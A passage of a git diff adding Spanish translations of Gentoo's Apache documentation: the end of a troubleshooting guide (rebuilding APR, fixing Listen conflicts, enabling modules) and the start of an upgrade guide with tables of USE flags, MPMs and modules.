+</p>
+
+<pre caption="Mensaje de post-instalación de emerge">
+ * 
+ * To enable mod_layout, you need to edit your /etc/conf.d/apache2 file and
+ * add '-D LAYOUT' to APACHE2_OPTS.
+ * 
+ * 
+ * Configuration file installed as
+ *     /etc/apache2/modules.d/15_mod_layout.conf
+ * You may want to edit it before turning the module on in /etc/conf.d/apache2
+ * 
+</pre>
+
+<p>
+Éste es bastante sencillo. Le dice exactamente lo que necesita hacer
+para activar este módulo.
+</p>
+
+<p>
+Si perdió este mensaje, hay otro modo de averiguar qué necesita añadir
+a la variable <c>APACHE2_OPTS</c> en <c>APACHE2_OPTS</c>: simplemente
+revise el fichero de configuración del módulo instalado. Éste debería
+estar agregado a <path>/etc/apache2/modules.d/</path>. Búsquelo ahí y
+encuentre una línea que tenga la directiva <c>IfDefine</c>:
+</p>
+
+<pre caption="Un extracto de 15_mod_layout.conf">
+&lt;IfDefine LAYOUT&gt;
+  &lt;IfModule !mod_layout.c&gt;
+    LoadModule layout_module    modules/mod_layout.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+El bloque <c>IfDefine</c> se ejecuta cuando añade <c>-D LAYOUT</c> a
+<path>/etc/conf.d/apache2</path>. <c>LAYOUT</c> es sólo un ejemplo.
+</p>
+
+<p>
+Hay varias opciones que puede añadir a <c>APACHE2_OPTS</c> y que se
+especifican en la configuración predeterminada y que se encuentran
+bien explicadas en el archivo <path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+La información de todos los módulos que Apache incorpora se puede
+encontrar en la <uri
+link="http://httpd.apache.org/docs/2.0/es/">Documentación del Servidor
+HTTP Apache 2.0</uri>.
+</p>
+</body>
+</section>
+</chapter>
+  
+<chapter>
+<title>Apache devuelve páginas vacías o violaciones de segmento</title>
+<section>
+<body>
+
+<p>
+Esto sucede sobre todo después de una actualización, debido a que la
+compatibilidad del binario se rompe en la librería APR --Apache
+Portable Runtime-- (lo cual puede ocurrir por varias razones). Para
+arreglarlo, tiene que reconstruir APR:
+</p>
+
+<pre caption="Reconstruir APR">
+<comment>(asegúrese de seguir estos pasos en orden, ¡Es muy
+imoportante!)</comment>
+
+<comment>(primero tenemos que borrar el Apache instalado actualmente)</comment>
+# <i>emerge -aCv '=www-servers/apache-2*'</i>
+
+<comment>(luego reconstruimos APR)</comment>
+# <i>emerge -av '=dev-libs/apr-0*' '=dev-libs/apr-util-0*'</i>
+
+<comment>(posteriormente reinstalamos Apache)</comment>
+# <i>emerge -av '=www-servers/apache-2*'</i>
+
+<comment>(determine cualquier paquete que dependa de Apache)</comment>
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-php/phpsysinfo-2.3-r2
+dev-php/phpsysinfo-2.1-r2
+dev-lang/php-5.2.4_p20070914-r2
+net-www/mod_layout-4.0.1a-r1
+www-servers/gorg-0.5
+
+<comment>(luego reconstruya cualquier módulo que haya instalado)</comment>
+# <i>emerge -av '=dev-lang/php-5.2.4_p20070914-r2' '=net-www/mod_layout-4.0.1.a-r1'</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Determinar un módulo con fallos complementario</title>
+<body>
+
+<p>
+Si todavía tiene problemas después de seguir las instrucciones de
+antes, muy probablemente el culpable sea uno de sus módulos
+complementarios instalados.
+</p>
+
+<p>
+Comience por desactivar todos los módulos complementarios y reinicie
+Apache.
+</p>
+
+<pre caption="Desactivar módulos complementarios">
+<comment>(edite /etc/conf.d/apache2)</comment>
+
+<comment>(antes del cambio)</comment>
+APACHE2_OPTS="-D PHP5 -D USERDIR -D SSL"
+
+<comment>(después)</comment>
+APACHE2_OPTS=""
+</pre>
+
+<pre caption="Reiniciar Apache">
+# <i>/etc/init.d/apache2 stop</i>
+<comment>(Asegúrese de que Apache esté parado del todo)</comment>
+# <i>ps -A</i> 
+# <i>/etc/init.d/apache2 start</i>
+</pre>
+
+<note>
+Puede que tenga que hacer un par de cambios a ciertas partes de su
+configuración si tiene agregada alguna <c>Directive</c> que estos
+módulos proporcionan en sitios que no prueban para el módulo que está
+siendo cargado.  Se recomienda que las <c>Directive</c>s como éstas
+estén colocadas en contenedores de prueba. Mire en cualquiera de los
+ficheros .conf en <path>/etc/apache2/modules.d</path>.
+</note>
+
+<p>
+Si Apache sigue terminando en violación de segmento y dando páginas en
+blanco, entonces sabe que, sin lugar a dudas, era uno de los módulos
+complementarios.  Para averiguar cuáles eran, los vamos añadiendo uno
+a uno y reiniciando Apache en cada momento.
+</p>
+
+<p>
+Cuando Apache deje de funcionar después de añadir un módulo, sabe qué
+ese módulo es lo único que causa problemas. A veces, simplemente con
+reconstruir el módulo el problema se arregla.
+</p>
+
+<p>
+Si después de reconstruir el módulo y reiniciar Apache todavía tiene
+problemas de violación de segmento con él o le sigue devolviendo
+páginas en blanco, debería <uri link="http://bugs.gentoo.org">enviar
+un bug</uri> (un informe del error) indicando la versión y revisión
+concreta del módulo y mencionar que éste provoca una violación de
+segmento. ¡Asegúrese de buscar antes en los bugs que todavía estén
+abiertos!
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>El servidor web no interpreta los scripts PHP o CGI sino que
+devuelve su código</title>
+<section>
+<body>
+
+<p>
+Parece que a veces Apache devuelve el código de los scripts PHP o CGI
+en vez de ejecutarlos y devolver la salida de los mismos. Si esto
+ocurre aun cuando el módulo está habilitado en
+<path>/etc/conf.d/apache2</path> es muy probable que se trate de una
+cuestión de caché. Este problema se soluciona con limpiar la caché del
+navegador web.
+</p>
+
+<p>
+A veces, este problema también se puede apreciar cuando se accede al
+servidor web a través de su nombre de dominio y no cuando se accede
+mediante su dirección IP. Este es un firme indicio de que se trata de
+un problema de caché.
+</p>
+
+<p>
+Este problema se puede arreglar limpiando la caché del navegador web y
+cualquier proxy web como squid o wwwoffle.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>configure: error: changes in the environment can compromise the
+build</title>
+<section>
+<body>
+
+<p>
+Si obtiene este error, entonces probablemente tenga espacios
+innecesarios en su variable <c>CFLAGS</c> en
+<path>/etc/make.conf</path>. La solución es simple, quitar los
+espacios extra:
+</p>
+
+<pre caption="Ejemplo de cambios en /etc/make.conf">
+<comment>(antes del cambio)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3  -pipe"
+
+<comment>(después - dese cuenta de la eliminación del espacio)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3 -pipe"
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Address already in use: make_sock: could not bind to address
+0.0.0.0:443</title>
+<section>
+<body>
+
+<p>
+Este error ocurre durante la inicialización y es causado por tener
+múltiples directivas <c>Listen</c> incompatibles en su
+configuración. Para solucionar este problema, debería utilizar grep
+para buscar las directivas <c>Listen</c> en su configuración y
+corregir cada ocurrencia.
+</p>
+
+<pre caption="Buscar todas las directivas Listen">
+<comment>(Asegúrese de estar dentro del directorio de configuración)</comment>
+# <i>cd /etc/apache2/</i>
+
+<comment>(Listar todas las directivas Listen)</comment>
+# <i>grep Listen httpd.conf vhosts.d/*.conf modules.d/*.conf</i>
+</pre>
+
+<p>
+Lo que está buscando son conflictos con los que Apache intente
+asociarse. Por ejemplo, si hay un <c>Listen 80</c> en
+<path>httpd.conf</path> y también hay un <c>Listen 10.0.0.15:80</c> en
+otro fichero, entonces Apache no será capaz de arrancar. Esto es
+debido a que Apache primero se asocia al puerto 80 en todas las
+direcciones IP de la máquina y luego intenta hacerlo también al puerto
+80 de la dirección IP 10.0.0.15. Falla porque el puerto 80 ya está en
+uso.
+</p>
+
+<p>
+La configuración recomendada es aquella que tenga un único <c>Listen
+80</c> (ésta es la configuración predeterminada de
+<path>httpd.conf</path>) así que asocie al puerto HTTP estándar a
+todas las direcciones por defecto y luego cree una directiva
+<c>Listen</c> absoluta para cada <c>VirtualHost</c> SSL (como por
+ejemplo <c>Listen 10.0.0.15:443</c>).
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Después de actualizar a apache-2.0.54-r13 los vhosts por
+defecto (SSL y no SSL) han dejado de funcionar</title>
+<section>
+<body>
+
+<p>
+Con la actualización a apache-2.0.54-r13, se le agregaron dos nuevas
+directivas para corregir el <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=100624">bug 100624</uri>.
+</p>
+
+<p>
+La nuevas directivas son <c>-D DEFAULT_VHOST</c> para activar el host
+virtual por defecto y <c>-D SSL_DEFAULT_VHOST</c> para activar el host
+virtual por SSL defecto. Ambas tienen que ser añadidas a la variable
+<c>APACHE2_OPTS</c> de <path>/etc/conf.d/apache2</path> si quiere que
+Apache se comporte como antes.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter id="getting-help">
+<title>Obtener ayuda</title>
+<section>
+<body>
+
+<p>
+Si nada de lo dicho anteriormente le ha servido o si tiene otras
+cuestiones, tómese la libertad de pasarse por nuestro canal de IRC
+<path>#gentoo-apache</path> en <path>irc.freenode.net</path>. O
+también puede enviar un bug en el <uri
+link="http://bugs.gentoo.org">Bugzilla de Gentoo</uri>.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/apache/doc/upgrading.xml b/xml/htdocs/proj/es/apache/doc/upgrading.xml
new file mode 100644
index 00000000..f0b85a80
--- /dev/null
+++ b/xml/htdocs/proj/es/apache/doc/upgrading.xml
@@ -0,0 +1,828 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/apache/doc/upgrading.xml,v 1.1 2008/04/05 16:24:02 yoswink Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/apace/doc/apache-upgrading.xml" lang="es">
+<title>Actualizar Apache</title>
+
+<author title="Autor">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Editor">
+  <mail link="hollow"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+  <mail link="enrique@barbeito.org">Enrique Barbeito García</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+
+<abstract>
+Este documento describe el método que los usuarios finales deberían
+seguir para actualizar sin ningún riesgo sus instalaciones de apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.8</version>
+<date>2007-12-11</date>
+
+<chapter id="upgrade-2.2.6-r4">
+<title>Actualización de versiones &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Los ebuilds de apache han utilizado
+<path>/etc/apache2/apache2-builtin-mods</path> durante mucho tiempo
+para seleccionar los módulos a construir al momento de compilar. Sin
+embargo, este comportamiento presente varias desventajas:
+</p>
+
+<ul>
+  <li>
+    No es posible seleccionar los módulos a encastrar en el emerge
+    inicial.
+  </li>
+  <li>
+    Portage no sabe cuáles módulos han sido instalados. Esto es
+    particularmente irritante en el caso de paquetes binarios.
+  </li>
+  <li>
+    Portage intentará sobreescribir <path>apache2-builtin-mods</path>
+    en cada actualización.
+  </li>
+</ul>
+
+<p>
+Para rectificar esta situación, se ha decidido prescindir de
+<path>/etc/apache2/apache2-builtin-mods</path> migrando a la nueva
+variable de entorno <c>USE_EXPAND</c> <c>APACHE2_MODULES</c>. Para
+convertir su selección personalizada de módulos al nuevo formato, use
+el siguiente comando:
+</p>
+
+<pre caption="Convertir apache2-builtin-mods a APACHE2_MODULES">
+$ <i>echo APACHE2_MODULES=\"$(sed '/^mod_/s/mod_\(.*\)\s\+\(shared\|static\)/\1/;t n;d;:n' /etc/apache2/apache2-builtin-mods)\" >> /etc/make.conf</i>
+# <i>rm /etc/apache2/apache2-builtin-mods</i>
+
+<comment>(Ahora puede actualizar apache de manera segura:)</comment>
+# <i>emerge -uva '>=www-servers/apache-2.2.6-r4'</i>
+</pre>
+
+<p>
+Adicionalmente al nuevo <c>APACHE2_MODULES</c>, los parámetros USE
+locales han sido re-ordenados:
+</p>
+
+<ul>
+  <li>
+    Los parámetros USE MPM han sido reubicados a la variable de
+    entorno <c>USE_EXPAND</c> <c>APACHE2_MPMS</c>
+  </li>
+  <li>
+    <c>no-suexec</c> es ahora <c>suexec</c>
+  </li>
+  <li>
+    <c>static-modules</c> es ahora <c>static</c>
+  </li>
+</ul>
+
+<p>
+Para una descripción más detallada y una correspondencia entre
+parámetros USE anteriores y actuales vea see <uri
+link="#use-2.2.6-r4">below</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter id="upgrade-2.0.52-r3">
+<title>Actualizando de versiones &lt;2.0.52-r3</title>
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+El estado de apache y sus módulos en Gentoo se estaba volviendo
+penoso. Había ciertos problemas que causaron inconvenientes en el
+soporte e hicieron difícil el trabajo del grupo de apache:
+</p>
+
+<ul>
+  <li>
+    La configuración que venía en Gentoo era terriblemente distinta a
+    la que la mayoría de usuarios esperan
+  </li>
+  <li>
+    Muchos módulos usaban código parecido pero todos hacían las cosas
+    a su manera
+  </li>
+  <li>
+    La mayoría de los módulos no estaban mantenidos demasiado bien -
+    debido principalmente al gran número de ellos disponible
+  </li>
+  <li>Los módulos no tenían una configuración estándar</li>
+  <li>
+    Algunos módulos podían soportar ambas versiones de Apache pero los
+    ebuilds no lo controlaban
+  </li>
+  <li>
+    Las opciones disponibles en apache no estaban disponibles para los
+    usuarios de Gentoo (por ejemplo, los MPMs --Módulos de
+    MultiProcesamiento--)
+  </li>
+  <li>Los bugs para apache se estaban acumulando</li>
+</ul>
+
+<p>
+Este documento detalla el modo de actualizar sin estropear su
+sistema. Si es desarrollador o le gustaría saber qué hemos cambiado, o
+cómo tienen que modificarse los ebuilds para aprovecharse de nuestra
+eclass, revise el <uri link="apache-developer.xml">Apache Developer
+Reference</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Actualización</title>
+<body>
+
+<p>
+Han habido muchos cambios en la manera como apache funciona en
+Gentoo. Cada paquete que está relacionado directamente con Apache,
+necesita ser actualizado y algunas cosas que funcionaban anteriormente
+dejarán de hacerlo.
+</p>
+
+<p>
+Lo primero es averiguar cuáles paquetes debemos actualizar. Puede
+hacerlo mediante la herramienta <c>equery</c> que forma parte del
+paquete <c>app-portage/gentoolkit</c>.
+</p>
+
+<pre caption="Buscar paquetes para actualizar">
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-db/phpmyadmin-2.5.6
+dev-php/mod_php-4.3.10
+dev-php/phpsysinfo-2.1-r2
+net-www/mod_bandwidth-2.0.5
+net-www/mod_layout-4.0.1a
+net-www/mod_mp3-0.40
+net-www/mod_random-2.0
+net-www/mod_throttle-3.1.2-r1
+www-apache/mod_ldap_userdir-1.1.4
+www-apache/mod_loopback-1.04
+www-apache/mod_watch-3.18
+www-apps/viewcvs-0.9.2_p20030430
+</pre>
+
+<impo>
+Los paquetes que tiene instalados pueden ser considerablemente
+distintos; asegúrese de ejecutar este comando usted mismo.
+</impo>
+
+<warn>
+Hay algunos módulos y paquetes que dependen de apache y que todavía no
+han sido actualizados. Por favor, <uri
+link="http://bugs.gentoo.org">busque en bugzilla</uri> cualquier
+paquete crítico que utilice con Apache.
+</warn>
+
+<p>
+Muchas aplicaciones web no están afectadas de ningún modo mientras que
+la mayoría utilizan la eclass <c>webapp</c> la cual se preocupa de
+instalarlas adecuadamente. Puede que quiera comprobar y ver si hay una
+nueva versión.
+</p>
+
+<p>
+Ya que hemos añadido nuevos parámetros USE, tal vez quiera revisarlos
+e incluir en <path>/etc/portage/package.use</path> las líneas
+apropiadas. Para más detalles, vea los <uri
+link="#use-2.2.6-r4">parámetros USE soportados por Apache</uri>
+</p>
+
+<pre caption="Revisar las configuraciones de parámetros USE y reconstruir">
+<comment>(Comprobar los parámetros USE y actualizaciones necesarias)</comment>
+# <i>emerge --pretend --verbose --update --newuse --deep apache subversion \
+mod_php mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 \ 
+mod_random mod_throttle mod_watch</i>
+
+<comment>(Actualizar los paquetes)</comment>
+# <i>emerge --verbose --update --newuse --deep apache subversion mod_php \
+mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 mod_random \
+mod_throttle mod_watch</i>
+
+<comment>(Puede ser más fácil actualizar todo el sistema en vez de lo
+anterior)</comment>
+# <i>emerge --ask --verbose --update --newuse --deep world</i>
+</pre>
+
+<p>
+Ahora tiene que reconfigurar apache y sus módulos. Empiece usando
+<c>etc-update</c> o <c>dispatch-conf</c> para actualizar los ficheros
+<path>/etc/init.d</path> y <path>/etc/conf.d</path>. Notará que sus
+ficheros de configuración de Apache no se verán en las actualizaciones
+- esto es debido a que todos los ficheros de configuración se han
+movido.
+</p>
+
+<p>
+Si ha hecho cambios en los anteriores <path>apache.conf</path> y
+<path>commonapache.conf</path> originales, tendrá entonces que migrar
+sus modificaciones a <path>/etc/apache{|2}/httpd.conf</path>. También
+han cambiado las ubicaciones de la configuración para los módulos y
+hosts virtuales -- ahora se encuentran en
+<path>/etc/apache2/modules.d</path> y
+<path>/etc/apache2/vhosts.d</path> respectivamente.
+</p>
+
+<p>
+Cuando haya terminado de migrar sus modificaciones al nuevo fichero de
+configuración, tendrá entonces que eliminar los antiguos ficheros de
+configuración (o moverlos a un lugar seguro). El nuevo
+<path>/etc/init.d/apache{|2}</path> comprueba que no existan estos
+ficheros y no le permite iniciar apache a menos que los haya
+eliminado, indicándole así que lo ha reconfigurado utilizando las
+nuevas rutas.
+</p>
+
+<note>
+Muchos módulos que, por defecto, solían estar habilitados ahora no lo
+están. Si son módulos de Apache incorporados, entonces descomente las
+línea apropiada en httpd.conf. Si son módulos externos, compruebe sus
+ficheros .conf para ver si hay <c>IfDefine</c> y añada el nombre a
+<path>/etc/conf.d/apache{|2}</path> para habilitarlo.
+</note>
+
+<p>
+Ahora puede reiniciar apache.
+</p>
+
+<pre caption="Reiniciar apache">
+# <i>/etc/init.d/apache stop</i>
+# <i>/etc/init.d/apache start</i>
+</pre>
+
+<p>
+Si se topa con algún problema revise la <uri
+link="/doc/es/apache-troubleshooting.xml">Solución de problemas de
+Apache</uri> y si ello no le soluciona la duda, por favor, informe de
+ello en el <uri link="http://bugs.gentoo.org">Bugzilla de
+Gentoo</uri>. Cerciórese de incluir los módulos que tiene habilitados
+y, en el caso de utilizar Apache 2, con qué parámetros USE para MPM lo
+compiló (si utilizó alguno). También puede conectarse al canal
+<path>#gentoo-apache</path> de <path>irc.freenode.net</path> para
+obtener ayuda.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter id="use-pre-2.2.6-r4">
+<title>Parámetros USE soportados por &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Hay parámetros USE que son locales para apache y sus módulos. Además,
+apache soporta otros muchos parámetros USE genéricos como, por
+ejemplo, <c>ssl</c>, pero el efecto que tienen en éste no difiere
+demasiado del efecto que tienen en otros paquetes, por lo que no se
+han incluido en la siguiente lista. Ejecute <c>emerge --verbose
+--pretend apache</c> para ver el listado completo de parámetros USE
+soportados.
+</p>
+
+<table>
+<tr>
+  <th>Parámetro USE</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti>apache2</ti>
+  <ti>
+    Fijo si se usa la rama 2.0 de apache. No se debería fijar si se
+    utiliza la 1.3. La eclass lo emplea para determinar a qué versión
+    de apache depende.</ti>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>
+    Habilita un interfaz que permite que módulos externos se puedan
+    enchufar y realizar alguna acción después que se produzca un
+    error. Ya existen dos módulos <c>mod_whatkilledus</c> y
+    <c>mod_backtrace</c> que lo utilizan.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>
+    Instala el manual apache y configuración.
+  </ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>
+    Instala <c>mod_ldap</c> y <c>mod_auth_ldap</c>/<c>mod_authnz_ldap</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>
+    Instala <c>mod_ssl</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-itk</ti>
+  <ti>Construye el MPM <uri link="http://mpm-itk.sesse.net/">itk</uri></ti>
+</tr>
+<tr>
+  <ti>mpm-leader</ti>
+  <ti>
+    Construye el MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/leader.html">leader</uri></ti>
+</tr>
+<tr>
+  <ti>mpm-metux</ti>
+  <ti>apache-2*</ti>
+  <ti>Crea el MPM <uri
+  link="http://www.metux.de/mpm/">metux</uri></ti>
+</tr>
+<tr>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Construye el MPM <uri
+    link="http://www.telana.com/peruser.php">peruser</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Construye el MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/prefork.html">prefork</uri></ti>
+</tr>
+<tr>
+  <ti>mpm-threadpool</ti>
+  <ti>
+    Construye el MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/threadpool.html">threadpool</uri></ti>
+</tr>
+<tr>
+  <ti>mpm-worker</ti>
+  <ti>
+    Construye el MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/worker.html">worker</uri></ti>
+</tr>
+<tr>
+  <ti>static-modules</ti>
+  <ti>
+    Enlaza estáticamente los módulos con el binario apache, por lo que no es
+    necesario un LoadModule para cargar los módulos base en Apache.
+  </ti>
+</tr>
+</table>
+
+<note>
+Mientras hayan muchos parámetros USE mpm-* activos, estos se excluyen
+mutuamente. Debe habilitar uno y solo uno de ellos. (Si no habilita
+ninguno, mpm-prefork o mpm-worker serán usados, dependiendo de si el
+parámetro USE threads está establecido).
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter id="use-2.2.6-r4">
+<title>Parámetros USE en versiones 2.2.6-r4 y subsiguientes</title>
+<section>
+<body>
+
+<p>
+Con la llegada de <c>APACHE2_MODULES</c>, un re-ordenamiento de los
+parámetros USE se hizo necesaria. La siguiente tabla lista los
+parámetros USE para <c>apache-2.2.6-r4</c> y subsiguientes y sus
+equivalentes en versiones anteriores.
+</p>
+
+<table>
+<tr>
+  <th>Parámetro USE</th>
+  <th>Parámetro USE anterior</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>debug</ti>
+  <ti>
+    Habilita un interfaz que permite que módulos externos se puedan
+    enchufar y realizar alguna acción después que se produzca un
+    error. Ya existen dos módulos <c>mod_whatkilledus</c> y
+    <c>mod_backtrace</c> que lo utilizan.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>doc</ti>
+  <ti>Instala el manual apache y configuración.</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>ldap</ti>
+  <ti>Instala <c>mod_ldap</c> y <c>mod_authnz_ldap</c></ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>ssl</ti>
+  <ti>Instala <c>mod_ssl</c></ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>static-modules</ti>
+  <ti>
+    Enlaza estáticamente los módulos con el binario apache, por lo que no es
+    necesario un LoadModule para cargar los módulos base en apache.
+  </ti>
+</tr>
+<tr>
+  <ti>suexec</ti>
+  <ti>no-suexec</ti>
+  <ti>Instala <c>mod_suexec</c> y el binario auxiliar <c>suexec</c></ti>
+</tr>
+<tr>
+  <ti>threads</ti>
+  <ti>threads</ti>
+  <ti>Selecciona el MPM por defecto si este no está definido en
+  APACHE2_MPMS</ti>
+</tr>
+</table>
+
+<p>
+La siguiente tabla lista los <c>APACHE2_MPMS</c> soportados a partir
+de la versión <c>apache-2.2.6-r4</c> y sus correspondendientes
+parámetros USE locales.
+</p>
+
+<table>
+<tr>
+  <th>Parámetro USE</th>
+  <th>Parámetro USE anterior</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti>event</ti>
+  <ti>mpm-event</ti>
+  <ti>Una variante experimental del MPM standard worker</ti>
+</tr>
+<tr>
+  <ti>itk</ti>
+  <ti>mpm-itk</ti>
+  <ti>Permite correr cada anfitrión virtual bajo un uid y gid
+  separados</ti>
+</tr>
+<tr>
+  <ti>peruser</ti>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Peruser es una implementación funcional del MPM perchild que
+    permite correr cada proceso hijo bajo su propio usuario y grupo,
+    cada uno manejando su propio conjunto de anfitriones virtuales
+  </ti>
+</tr>
+<tr>
+  <ti>prefork</ti>
+  <ti>mpm-prefork</ti>
+  <ti>Implementa un servidor web pre-forking y sin hilos</ti>
+</tr>
+<tr>
+  <ti>worker</ti>
+  <ti>mpm-worker</ti>
+  <ti>
+    MPM que implementa un servidor web híbrido multi-hilo
+    multi-proceso
+  </ti>
+</tr>
+</table>
+
+<p>
+La siguiente tabla lista los <c>APACHE2_MODULES</c> soportados a
+partir de <c>apache-2.2.6-r4</c>.
+</p>
+
+<table>
+<tr>
+  <th>Parámetro USE</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti>actions</ti>
+  <ti>
+    Proporciona la posibilidad de ejecutar guiones CGI scripts según
+    tipo de medio o petición
+  </ti>
+</tr>
+<tr>
+  <ti>alias</ti>
+  <ti>
+    Proporciona la posibilidad de mapear partes diferentes del sistema
+    de archivos del anfitrión al árbol de documentación y para
+    redireccionar URLs
+  </ti>
+</tr>
+<tr>
+  <ti>asis</ti>
+  <ti>Envía archivos que contengan sus propios encabezados HTTP</ti>
+</tr>
+<tr>
+  <ti>auth_basic</ti>
+  <ti>Autentificación sencilla</ti>
+</tr>
+<tr>
+  <ti>auth_digest</ti>
+  <ti>Autentificación de usuarios mediante condensados MD5</ti>
+</tr>
+<tr>
+  <ti>authn_alias</ti>
+  <ti>
+    Proporciona la posibilidad de crear servicios extendidos de
+    autentificación basados en servicios actuales
+  </ti>
+</tr>
+<tr>
+  <ti>authn_anon</ti>
+  <ti>Permite el acceso "anónimo" a áreas con control de
+  autentificación</ti>
+</tr>
+<tr>
+  <ti>authn_dbd</ti>
+  <ti>Autentificación de usuarios mediante base de datos SQL</ti>
+</tr>
+<tr>
+  <ti>authn_dbm</ti>
+  <ti>Autentificación de usuarios mediante archivos DBM</ti>
+</tr>
+<tr>
+  <ti>authn_default</ti>
+  <ti>Módulo de autentificación por defecto</ti>
+</tr>
+<tr>
+  <ti>authn_file</ti>
+  <ti>Autentificación de usuarios mediante archivos de texto</ti>
+</tr>
+<tr>
+  <ti>authz_dbm</ti>
+  <ti>Autorización de grupos mediante archivos DBM</ti>
+</tr>
+<tr>
+  <ti>authz_default</ti>
+  <ti>Módulo de autorización por defecto</ti>
+</tr>
+<tr>
+  <ti>authz_groupfile</ti>
+  <ti>Autorización de grupos mediante archivos de texto</ti>
+</tr>
+<tr>
+  <ti>authz_host</ti>
+  <ti>Autorización de grupos por medio de nombre de anfitrión (nombre
+  o dirección IP)</ti>
+</tr>
+<tr>
+  <ti>authz_owner</ti>
+  <ti>Autorización basada en la propiedad del archivo</ti>
+</tr>
+<tr>
+  <ti>authz_user</ti>
+  <ti>Autorización de usuarios</ti>
+</tr>
+<tr>
+  <ti>autoindex</ti>
+  <ti>
+    Generación automática de índices, similar al comando <c>ls</c> de
+    Unix
+  </ti>
+</tr>
+<tr>
+  <ti>cache</ti>
+  <ti>Caches de contenido según URI</ti>
+</tr>
+<tr>
+  <ti>cern_meta</ti>
+  <ti>Semántica de metaarchivos httpd según la CERN</ti>
+</tr>
+<tr>
+  <ti>charset_lite</ti>
+  <ti>Especificación de traducción o recodificación de conjunto de
+  caracteres</ti>
+</tr>
+<tr>
+  <ti>dav</ti>
+  <ti>Funcionalidad para Distributed Authoring and Versioning (WebDAV)</ti>
+</tr>
+<tr>
+  <ti>dav_fs</ti>
+  <ti>Servicio de sistema de archivos para mod_dav</ti>
+</tr>
+<tr>
+  <ti>dav_lock</ti>
+  <ti>Módulo genérico de bloqueo para mod_dav</ti>
+</tr>
+<tr>
+  <ti>dbd</ti>
+  <ti>Manejo de conecciones de bases de datos SQL</ti>
+</tr>
+<tr>
+  <ti>deflate</ti>
+  <ti>Compresión de contenido antes de envío al cliente</ti>
+</tr>
+<tr>
+  <ti>dir</ti>
+  <ti>
+    Servicio para redireccionamiento en caso de "finalizar URL con
+    barra" y servicio de archivos índice de directorios
+  </ti>
+</tr>
+<tr>
+  <ti>disk_cache</ti>
+  <ti>Manejador de cache de contenido según URI</ti>
+</tr>
+<tr>
+  <ti>dumpio</ti>
+  <ti>Escribe toda la I/O a las bitácoras de error según
+  especificación</ti>
+</tr>
+<tr>
+  <ti>env</ti>
+  <ti>Modifica el entorno pasado a guiones CGI y páginas SSI</ti>
+</tr>
+<tr>
+  <ti>expires</ti>
+  <ti>
+    Generación de cabeceras HTTP Expires y Cache-Control de acuerdo a
+    criterios especificados por el usuario
+  </ti>
+</tr>
+<tr>
+  <ti>ext_filter</ti>
+  <ti>
+    Pasa el cuerpo de la respuesta a través de un programa externo
+    antes de entregar al cliente
+  </ti>
+</tr>
+<tr>
+  <ti>file_cache</ti>
+  <ti>Almacena una list de archivos en memoria</ti>
+</tr>
+<tr>
+  <ti>filter</ti>
+  <ti>Módulo de configuración del filtro con inteligencia sensible al
+  contexto</ti>
+</tr>
+<tr>
+  <ti>headers</ti>
+  <ti>Personalización de cabeceras HTTP de petición y respuesta</ti>
+</tr>
+<tr>
+  <ti>ident</ti>
+  <ti>Verificación de identidad según RFC 1413</ti>
+</tr>
+<tr>
+  <ti>imagemap</ti>
+  <ti>Procesamiento en servidor de mapas de imagen</ti>
+</tr>
